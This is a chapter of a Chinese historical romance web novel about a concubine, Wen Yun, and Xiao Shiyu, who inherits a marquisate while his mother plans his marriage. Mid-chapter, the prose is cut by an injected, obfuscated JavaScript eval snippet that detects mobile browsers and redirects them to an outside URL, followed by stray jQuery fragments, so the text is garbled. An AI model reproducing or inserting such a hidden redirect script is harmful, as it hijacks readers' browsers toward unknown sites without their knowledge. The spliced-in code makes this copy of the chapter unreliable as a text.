良妾漫小小狸

24. 第 24 章

    两人站在原地不知道说了些什么,就见杨晨匆匆转身寻来一件披风搭在他身上,萧时予缓缓走过来,杨晨不紧不慢地跟在后头。


    待到他走近了,温韫才察觉到他嘴角勾起,“怎么不在马车上等我?”


    不明白他在高兴些什么,温韫思忖片刻道:“你还记得醉香楼的阿颜吗?”


    “你问她做什么?”还以为她在此等候要说些什么,他不以为然:“何须你替她担心?人家可比你聪明多了,温韫,先管好你自己。”


    萧时予又一次猜到了温韫接下来要说什么。


    不懂这人怎的又开始嘲讽起她了,她咬了咬唇道:“她之前给了妾身一瓶药,可解百毒,虽没派上用场,也算帮过妾身,沈博一死,她很容易被人盯上的。”


    说着,她从衣袖里掏出白玉瓷瓶,在太阳光底下显得洁白无瑕。


    百草枯,这药萧时予再熟悉不过了,他接过这小瓷瓶,打开闻一闻,确认无碍后,又还给了温韫,“所以?”


    “妾身想沈府她是不能再留了,不如我们帮她离开雍州吧。”


    萧时予听笑了,“沈博一个初到雍州的知府,为何会与山匪勾结?你想过没有?”


    温韫盯着他,这她还真没想过。


    衣袖处染上血迹湿哒哒的,黏在肌肤上好不舒服,萧时予皱眉往林中走去,温韫连忙跟上他的步伐,林间弥漫着湿润泥土的气息,耳边不断有鸟鸣声传来,穿过这片林子,便有马车了。


    “这片山上的匪寇平时会进城采买,山匪多好色成性,自然也就是醉香楼的常客,多半是阿颜在中间牵线搭桥。”


    “她为何要这么做?”


    萧时予瞧她一眼,阳光穿透树叶间的缝隙,斑驳陆离的光影洒在她身上,看着好不真切,他懒散道:“流落到妓院的女子分两种,要么家境贫寒被爹娘卖过来的,要么就是抄家后被发落到这里的,我在沈府见过她,写得一手好字,还背得一首好诗,多半是后者。”


    他长叹一口气,“沈家作恶多端,仇家不比萧家少。”他转过头来笑了笑,“她敢在背后谋划这一切,自然也就想到了后果,你无需担心她。”


    心中陡然升出一个疑问,萧时予又在这里面扮演了什么角色?


    温韫抬眸望去,目光最终落在他的披风上,“主君身子可有不适?”


    萧时予摇头,垂眸看了眼自己的披风,“衣袍不慎染上血迹,我怕母亲见了心惊。”


    两人一前一后地走出了树林子,眼前骤然变亮,紧接着便瞧见了站在马车旁的婆母。


    徐夫人下了马车,一直朝这个方向看,见到萧时予平安归来,这才略微放心。


    萧时予与温韫一同上前,“孩儿失踪几日,让母亲担心了。”


    徐夫人上前抓住了他的胳膊,目光在他浑身上下扫了一遍,确认没有受伤后,又瞧了一眼身后沉默不语的温韫,“时予,你与阿娘同乘一辆车回府。”


    母亲叫住他定是有事商议,于是,他低头道:“是。”


    一直待在角落里的杨晨走过来,朝另一个方向作出请的姿态,温韫转过身这才看到还有一辆马车。


    “侧夫人请。”杨晨说。


    温韫登上马车后,不曾想路途比她记忆中的还要遥远,在颠簸中睡了过去,回到侯府后,萧时予与徐夫人有要事商议,她识趣地默默退下了。


    一回到院子就投入了翠喜的怀抱,两人不过两日不见,那作态好似分离多年。


    许久后,温韫哭累了,翠喜反应过来,唤人打水,备好浴汤。


    温韫出浴后,坐到床塌上倒头就睡。


    翠喜抱着换洗衣物从浴房里出来时,瞧见了床塌上的人熟睡着,身上未盖被子,虽说现在雍州日渐暖和起来,这样下去怕是要着凉,她上前替自家主子掖好了被子,转身退出去。


    走到院中时,隐隐约约看到一个人影,翠喜定定一看,这才认出是主君,匆匆上前,唤了一声主君。


    萧时予瞧了她手中衣物一眼,“夫人睡下了?”


    翠喜如实回答:“夫人这几日受了惊吓,有些疲乏,一回屋就睡下了。”


    “找大夫看过了吗?”


    翠喜摇头。


    “把这个给夫人用,明日再找个大夫过来看看。”


    翠喜抬眸,主君手上拿着一管药膏,她低头接过,“是。”


    紧接着眼前人影一晃,他就离开了,翠喜愣愣地站在原地,主君就这么走了吗?


    屋内寂静无声,床塌上的人睡得安详,天上流云缓动,夕阳西下,余晖渐渐退却,整个雍州城陷入了黑暗,几分萧瑟又有几分孤单。


    朱窗半开,传来几声扰人嫌的闲谈声,温韫皱起眉头翻身继续睡,像是与她作对一般,外头的声音更吵了。


    她坐起身子,此时已是天光大亮,她正欲出门探究一番,翠喜就推门进来了,手里端着一盆热水。


    “侧夫人,好事。”她脸上带着笑。


    好事?这些时日连连发生坏事,还能有什么好事?她打了个哈欠,从翠喜手里接过巾帕,漫不经心地擦拭脸颊。


    “上京来圣旨了,三公子袭封爵位,已经是侯爷了!”


    温韫倏地转头,眼中满是不可置信,“果真吗?”


    翠喜连连点头,“衙役来话,方才已在府衙宣旨,眼下侯爷正在回府的路上呢,奴婢听说徐夫人正高兴得合不拢嘴呢。”


    她这位婆母最在乎的就是萧府的名声和萧时予的身体了,眼下萧时予身子不仅好转还袭爵了,自然是天大的喜事。


    温韫将手里的巾帕往脸盆里一扔,“走吧,咱们去给徐夫人贺喜。”


    翠喜盯着温韫好半响,总觉得自家主子有些不对劲,但又说不上来。


    梳妆时,温韫挑了件得体又不张扬的衣裳,等她来到西屋时,徐夫人正站在佛像前烧香。


    徐夫人信佛,府里上下没人不知道,每日早起都要烧香,听闻屋里的这尊佛像还是宣平侯在世时特地找人寻来的,徐夫人很是喜欢。


    温韫一进入屋子,冯嬷嬷就瞧见了,她恭恭敬敬地等在那里,今日这拜香烧得很漂亮,状如莲花,是上上大吉之兆。


    难得见婆母脸色柔和,嘴角隐隐带点笑意。


    徐夫人烧完香,冯嬷嬷在她身旁耳语几句,她这才转头往她这里一扫,随后将温韫叫了过去。


    “时予袭爵是我萧府的大喜事,承蒙祖先保佑,我想明日去城外寺中施粥散钱,大抵要在城外住上几日。”


    温韫想也不想就开口道:“妾身愿意与婆母一道过去。”


    谁知,徐夫人却摆摆手,“你不用去,你就留在府里伺候好侯爷。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14341000|144981||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    话音刚落,院里传来一道声音,“侯爷回来了。”


    萧时予人高腿长,不过片刻,他就已经跨过门槛,出现在了屋内。


    见到此人,胸口止不住地起伏一下,温韫悄悄瞥了他一眼后,又迅速地垂下头。


    萧时予一身紫色窄袖蟒袍,隐约可见上面绣着的金色丝线,腰间挂着朱红白玉腰带,白玉簪子束发,换了身衣裳看着跟从前大不相同了。


    “母亲。”他礼道,显出几分沉稳。


    徐夫人坐在木椅上,面露满意之色,“我儿时予,你保住了萧家的荣誉,你父亲在九泉之下也会欣慰的。”


    萧时予微微抬头,道:“总算是没辜负母亲对孩儿的期望。”


    徐夫人点点头,持着长辈的威严说教道:“今时不同往日,眼红你的人不少,切不可再像往日那般慵懒散漫,更要用功读书,为我萧家门楣增光,可记住了?”


    “孩儿记住了。”


    室内忽地陷入了安静。


    徐夫人走过来,仔细端详了萧时予片刻,他不明所以地看着母亲。


    她骤然开口:“你已有十八,再过两年便到了弱冠之年,母亲想着是时候给你找一门好亲事了。”


    萧时予眼皮倏然一跳,忍不住侧头,余光瞥向了温韫,只是几步开外的她低垂着头,看不出在想些什么。


    只得收回目光,母亲的声音又在屋内响起,“我原本担心你从前的名声太臭,上京城好人家的女儿都不愿嫁你,好在你争气,现下我不担心了。”


    萧时予立在那里,没说话。


    徐夫人继续道:“当年你大哥亲事也是我定下的,你大哥品行端正又手持重兵,我没花多少心思便成了……”


    见自己儿子没吭声,徐夫人转头问他:“自古以来,儿女婚事由父母做主,你可有疑?”


    问出这话时,徐夫人一双眼睛直直地盯着他,不放过他脸上一丝情绪,好在萧时予如当初被她逼着读书一般,只是淡淡道:“都听母亲的安排。”


    于是,徐夫人心中大喜,闲谈几句后,就让他们回去了。


    长廊之中,温韫走在萧时予后头,看了眼一言不发的这人,犹豫片刻后,问:“你既不愿意,为何不直接告诉婆母?”


    萧时予停下步子,回头瞧了她一眼,“你怎知我不愿意?”


    温韫思忖几瞬,认真道:“婆母一说娶亲的事,你就不高兴,可不就是不愿意吗?”


    萧时予眉梢一挑,没想到她还能察觉到自己不高兴,他倚靠在圆柱上,“所以你认为我该直说?”


    这话问的温韫一愣,“难道不是吗?”


    萧时予好笑地看着温韫,“哪有你想的这般简单。”这时他话锋一转,“不过我要真娶妻了,你当如何?”


    怎么又扯到她了?温韫仔细一想,若他真娶妻了,自己定会安分守己,不叫他的夫人对她心生厌恶。


    殊不知,这幅认真思考的模样落在萧时予眼里,竟有些憨态可掬,自己不过随意一问,她还当真了。


    萧时予转身朝外走去,“放心吧,我是不会……”


    身后的人骤然出声:“我会祝贺你的。”


    不知是不是眼花,温韫好似见他浑身一震,步子顿时就停住了,周身又散发出一种不高兴的情绪。


    我又说错话了?